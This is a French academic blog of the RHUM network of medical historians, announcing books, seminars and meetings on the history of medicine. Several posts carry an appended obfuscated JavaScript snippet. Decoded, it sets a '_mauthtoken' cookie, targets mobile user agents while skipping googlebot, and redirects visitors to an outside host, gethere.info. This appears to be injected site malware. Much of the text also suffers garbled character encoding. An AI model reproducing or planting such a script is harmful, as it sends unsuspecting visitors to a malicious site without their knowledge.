Article mis en avant

RHUM, mode d’emploi

Ce carnet entend servir d’instrument à des historiens universitaires de la médecine (de l’Antiquité à l’époque contemporaine).
Il s’appuie sur un réseau, le RHUM, fondé en juin 2011 par A. Carol et financé par l’Institut Universitaire de France. Le réseau compte actuellement 23 membres et a tenu déjà 8 sessions de travail, portant sur des thèmes variés de l’histoire de la médecine : le geste en médecine, la médicalisation, etc.
Le carnet présente les membres du RHUM et leurs publications, le programme des rencontres passées et à venir, et sert de relais pour annoncer des événements liés à la recherche en histoire de la médecine.

Actuellement, le RHUM est engagé dans un projet de Dictionnaire topographique et historique du corps et dans un travail diachronique autour des relations médecins /patients.

Parution: « Médecine et médecins dans l’économie des savoirs », Histoire, Médecine et Santé, n. 11 (été 2017)

Auteur : Elisa ANDRETTA, Rafael MANDRESSI (coord.)
N° ISBN : 978-2-8107-0527-6
PRIX : 20.00 €
Format et nombre de pages : 16 x 24 cm – 172 p.

Dans l’histoire des savoirs aux XVIe-XVIIe siècles, il n’est nullement besoin de chercher les médecins : ils sont partout, engagés dans des domaines variés de la culture lettrée, érudite et savante, de la philologie à l’histoire naturelle, de l’art oratoire aux mathématiques, ou encore de la cosmographie à la théologie. Comment saisir et interpréter cette omniprésence dans l’univers culturel de la première modernité en Europe occidentale ? Ce dossier propose de réévaluer le fonctionnement du champ médical aux XVIe et XVIIe siècles, en faisant de celui-ci un lieu d’interrogations sur l’économie des savoirs en Europe. En s’éloignant des cadres historiographiques traditionnels, organisés autour des notions de « révolution scientifique » ou de « nouvelle science », et en s’appuyant à la fois sur les idées, les outils de pensée et les formes textuelles qui rendent compte des contiguïtés perméables entre la médecine et d’autres savoirs, il s’agira de montrer et de comprendre les rôles et les identités intellectuelles composites des médecins, leurs parcours, leurs insertions dans des milieux variés, leur participation parfois massive à la structuration de communautés savantes, et finalement leurs interventions multiples dans la vie sociale et politique du temps.

http://pum.univ-tlse2.fr/~no-11-Economie-des-savoirs~.html#

Parution : L’Electricité médicale dans la France des Lumières, par François Zanetti

François Zanetti s’intéresse ici à une pratique médicale peu explorée par les historiens: l’utilisation de l’électricité. Analysant de nombreux témoignages de médecins et de patients, François Zanetti montre comment l’électricité acquiert peu à peu sa légitimité, pour aboutir aux trois procédés devenus canoniques à la fin des années 1770 – le bain électrique, l’électrisation par étincelles et la commotion. Il souligne que l’électricité médicale, qui marque l’entrée des machines dans l’espace thérapeutique, réconcilie les philosophies naturelle et morale. Au temps de la sensibilité et des philanthropes, elle devient un traitement réservé aux pauvres. Elle témoigne aussi de l’autonomie des patients dans l’interprétation de leurs maux et dans la construction de leur itinéraire thérapeutique, entre médecine officielle et praticiens irréguliers.
Préface, Monique Cottret
Introduction
1. Echecs fondateurs
2. Le corps sous influence
3. La Société royale de médecine et la médicalisation de l’électricité
4. Fabriquer un nouveau médicament
5. Lutter contre la dégénérescence
6. Les coulisses de la philanthropie
7. L’expérience du traitement
8. Au fil des récits
9. Grandeur et décadence d’un charlatan électrique
10. Evocations révolutionnaires
Conclusion
Bibliographie
Index
ISBN 978-0-7294-1197-4, 284 pages, 6 ills
blog: Un voyage fantastique dans les archives de la Société Royale de Médecine

Parution : Aux marges de la médecine. Santé et souci de soi, France XIXe siècle par Olivier Faure

Vient de paraître aux PUP, collection Corps et âmes :
Olivier FAURE
Aux marges de la médecine. 
Santé et souci de soi
France XIXe siècleaux_marges_de_la_medecine

Parmi les nombreux écrits consacrés depuis près de quarante ans à l’étude des relations entre les populations, la santé, la médecine et les médecins dans la France du XIXe siècle, on a choisi ici délibérément de ne retenir qu’une partie de ceux qui traitent des marges du système sanitaire.

On y trouvera donc peu de choses sur les médecins, sauf s’ils sont hétérodoxes, ni sur l’accès aux soins médicaux, mais d’abord des articles consacrés aux sages-femmes, aux religieuses soignantes, aux officiers de santé et aux pharmaciens. D’autres traitent des comportements sanitaires populaires peu conformes aux injonctions médicales, comme l’usage du médicament ou celui des eaux minérales. Quelques uns présentent la face cachée de l’histoire hospitalière avec ses petits établissements et ses pensionnaires plus pauvres que malades. Une dernière série souligne le rôle des patients dans les médecines marginales comme l’homéopathie et quelques autres.

Au-delà de la diversité des thèmes abordés, ce recueil ne se contente pas de réévaluer le rôle de certains acteurs méconnus mais il tente de démontrer que nos actuelles attitudes face à la maladie et à la santé, ne sont pas seulement le fruit d’une médicalisation imposée du haut mais aussi le reflet des aspirations populaires. Enfin, il laisse entrevoir ce qu’aurait pu être un système de santé dans lequel les patients et les professions intermédiaires auraient eu toute leur place aux côtés des médecins.

Parution : L’embaumement, une passion romantique France XIXe siècle

Vient de paraître chez Champ Vallon :
Anne Carol, L’embaumement : une passion romantique France, XIXe siècle

Jusqu’à la fin du XVIIIe siècle, l’embaumement des cadavres était réservé à une élite du sang et de la fortune soucieuse d’échapper à la dissolution ordinaire. Aujourd’hui en France, plus de la moitié des corps reçoit des soins de thanatopraxie dispensés par des professionnels afin de retarder la décomposition et d’organiser sereinement les funérailles.
couvertureEntre ces deux régimes de conservation, le XIXe siècle offre une parenthèse singulière. C’est dans sa première moitié que naît et s’affirme l’embaumement romantique : un désir éperdu  de préserver des corps éternellement intacts, revendiqué comme un aspect légitime du culte des morts et inséparable de l’apparition du cimetière moderne et de ses concessions perpétuelles.  L’embaumement connaît alors une vogue aussi extraordinaire que brève et amorce une diffusion dans la bourgeoisie urbaine. Mais cet engouement suscite aussi une concurrence féroce entre médecins et non-médecins qui se disputent le marché dans une guerre à la fois technique, commerciale, socioprofessionnelle et déontologique.
C’est l’histoire de cette passion, de sa naissance, de son épanouissement et de son désenchantement que ce livre entend restituer en la replaçant dans l’histoire plus large des sensibilités collectives face à la mort et au cadavre.

 

Parution : Et Samuel Hahnemann inventa l’homéopathie, par Olivier Faure

Olivier Faure vient de publier aux éditions Aubier  Flammarion :

Et Samuel Hahnemann inventa l’homéopathie. La longue histoire d’une médecine alternative.

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 Malgré son titre, ce livre n’est pas d’abord la biographie de Samuel Hahnemann (1755-1843), prophète romantique parmi d’autres, ni l’histoire technique d’une thérapeutique mais bien l’analyse d’un mouvement social et culturel qui a su s’adapter aux changements des sociétés dans lesquels il s’est implanté. Née au cœur de la médecine des Lumières, l’homéopathie veut être la médecine d’une nouvelle société dont rêvent les saint-simoniens. Emportée par leur échec, elle se replie dans des dérives sectaires à forte connotations religieuses avant de revenir en grâce dès les années 1920 : la critique des dérives « techniciennes « de la médecine pastorienne la réintègre dans le monde médical ; la fabrication industrielle de ses médicaments contribue à généraliser leur usage ; la montée des contestations de la société industrielle  et urbaine, au sein de cette dernière accroît le nombre de ses adeptes et de ses militants bien avant l’explosion des années récentes.

JE : « De la santé à l’environnement, savoirs urbains en perspective (XVIIIe-XXIe siècles) », Lyon, 6 mars 2015

Journée orgnanisée par Stéphane FRIOUX (université Lyon 2, LARHRA) à l’ISH, Lyon,  salle Elise Rivet

 

9h30-12h30 : Médecins et professions de santé en ville et face à la ville au XVIIIe siècle

Présidence de séance : Natacha Coquery (université Lyon 2, LARHRA, IUF)

François Zanetti (université Paris Ouest-Nanterre, CHiSCO), « Construction urbaine des savoirs médicaux: expérimentation et parcours thérapeutiques »

Emilie-Anne Pépy (université de Savoie, LLS), « Esculape au jardin. Le jardin botanique urbain au XVIIIe s., lieu de savoir et de formation des professions de santé »

Clarisse Coulomb (université Pierre-Mendès-France, LARHRA), « Les médecins et l’écriture de l’histoire des villes, XVIIe-XVIIIe siècles »

 

14h-17h : Faire face aux fléaux et aux risques chroniques

Présidence de séance : Olivier Faure (université Lyon 3, LARHRA)

Patrick Fournier (université Blaise Pascal, CHEC), « Réseaux de savoir(s) et de pouvoir(s) en France à l’occasion de la peste de Marseille (1720-1723) ».

Stéphane Frioux (université Lyon 2, LARHRA), « Une histoire qui ne manque pas d’air. Mesurer et prévenir la pollution atmosphérique en France (années 1900-années 1970) ».

Florence Pradier (Service Santé/Environnement ville de Lyon), Le point de vue de l’acteur de terrain.

Site de la journée

Séminaire EHESS CAK Histoire de la médecine et des savoirs sur le corps 2014-2015

Le séminaire d’Histoire de la médecine et des savoirs sur le corps (Centre Alexandre Koyré, EHESS), animé par Rafael Mandressi et Anne Carol débutera le 25 novembre 2014.

Il aura lieu tous les 2e et 4e mardis de chaque mois.

Voir le programme : séminaire Histoire de la médecine Centre Koyré 14-15

8A?mes rencontres du RHUM : Paris, 24 janvier 2015

programme RHUM 8e rencontres de Paris
Les huitiA?mes rencontres du RHUM auront lieu Ai?? Paris, le samedi 24 janvier 2015.var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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La mAi??decine au Moyen Age : parutions rAi??centes (L. Moulinier, M. Nicoud)

L. Moulinier, ai???Deux ou trois choses que lai??i??on sait dai??i??elleAi??: la facultAi?? de mAi??decine parisienne et ses dAi??butsai???, dans Les dAi??buts de lai??i??enseignement universitaire Ai?? Paris (1200-1245 environ), Ai??d.Ai??Olga Weijers et Jacques Verger, Turnhout, Brepols, 2013, p.Ai??387-398 (coll. Studia Artistarum, 38).
L. Moulinier, M. Nicoud, ai???Fama ou lAi??gende? De la vie de quelques mAi??decins italiens dai??i??aprA?s les tAi??moignages mAi??diAi??vaux Ai??, dans The Medieval Legends of Philosophers and Scholars, Micrologus, Nature, Sciences and Medieval Societies, XXI (2013), p. 445-470.
L. Moulinier,Ai?? Ai?? Roi garant ou roi guAi??risseur ? Philippe le Bel et le corps, dai??i??aprA?s le rAi??ceptaire mis sous son nom Ai??, dans E. Andretta, M. Nicoud dir., Etre mAi??decin de cour (France, Italie, Espagne, XIIIe-XVIIIe siA?cle), Florence, SISMEL-Edizioni del Galluzzo, 2013, p. 131-148.
L. Moulinier,ai???Lai??i??allure du mAi??decin au Moyen Ageai???, PRIS-MA, Recherches sur la littAi??rature dai??i??imagination au Moyen Age, tome XXVIII, 1 et 2, nAi?? 55-56, janvier-dAi??cembre 2012, Allures MAi??diAi??vales II. Essais sur la marche et la dAi??marche, p. 75-91.
C. LanoAi??,L. Moulinier (dir.), Corps parAi??s, corps parfumAi??s, Artefact, nAi?? 1, 2013.
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7e rencontres du RHUM : Montpellier, 13 septembre 2014

Les 7A?mes rencontres du RHUM auront lieu Ai?? Montpellier le 13 septembre 2014.

ParticipantsAi??: V. Barras (Institut dai??i??Histoire de la mAi??decine, Lausanne)Ai??; H. Berlan (UniversitAi?? de Montpellier 3)Ai??; I. von Bueltzingsloewen (UniversitAi?? de Lyon 2)Ai??; A. Carol (Aix-Marseille UniversitAi??)Ai??; J. Chandelier (Ai??UniversitAi?? de Paris VIII)Ai??; O. Faure (UniversitAi?? de Lyon 3)Ai??; L. Guignard (UniversitAi?? de Nancy)Ai??; H. Guillemain (UniversitAi?? du Maine)Ai??; N. Hanafi (UniversitAi?? dai??i??Angers) ; R. Mandressi (Centre A. KoyrAi??, Paris)Ai??; L. Moulinier (UniversitAi?? de Lyon 2)Ai??; M. Nicoud (UniversitAi?? dai??i??Avignon)Ai??; C. Orobitg (Aix-Marseille UniversitAi??)Ai??; I. Renaudet (Aix-Marseille UniversitAi??)Ai??; P. Rieder (Institut dai??i??histoire de la mAi??decine, GenA?ve).

Elles ont pour vocation principale de mettre en chantier le Dictionnaire topographique et historique du corps humain, prAi??sentAi?? et validAi?? aux rencontres prAi??cAi??dentes du Mans.var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Colloque : Ventre et viscA?res au XVIIIe siA?cle – 21-22 mars 2014

Le colloque internationalAi??etAi??interdisciplinaireAi??« Gall and Guts: Entrails and digestion in the Long 18th Century /Ai??VentreAi??etAi??ViscA?res: esthAi??tiqueAi??etAi??symbolique des entrailles au XVIIIe siA?cleAi??(FranceAi??etAi??Grande-Bretagne) »Ai??aura lieu Ai?? l’UniversitAi?? Paris-Diderot (Amphi Buffon) les 21etAi??22 mars 2014
Les historiens, littAi??rairesAi??etAi??historiens de l’art y explorent la permanence du paradigme de la digestion, de l’estomacAi??etAi??des entrailles, dont les reprAi??sentations sont souvent un contrepoint Ai?? la politesseAi??etAi??au lien social, dans un Ai??poque souvent associAi??e de maniA?re restrictive aux nerfsAi??etAi??au cerveau.
Ai??
EntrAi??e libre
Organisation :
Sylvie Kleiman-Lafon (UniversitAi?? Paris 8 ) et Sophie Vasset (UniversitAi?? Paris-Diderot)
Ai??
Programme :

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Parution : MAi??decine et religion : compAi??titions, collaborations, conflits (XIIe-XXe siA?cles)

Une parution de Marilyn Nicoud :

En collaboration avec L. Berlivet, S. Cabibbo, M.P. Donato et R. Michetti, MAi??decine et religionAi??: compAi??titions, collaborations, conflits (XIIe-XXe siA?cles), Rome, Ecole franAi??aise de Rome, 2013CEF476_jpg_1010866962 5var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Prochaines rencontres du RHUM : Le Mans, 31 janvier – 1er fAi??vrier 2014

La prochaine session de travail du RHUM se tiendra au Mans, les 31 janvier et 1er fAi??vrier 2014, et sera organisAi??e par HervAi?? Guillemain.

Elle prolongera les journAi??es de juin 2013 consacrAi??es au geste mAi??dical.

programme janvier 2014var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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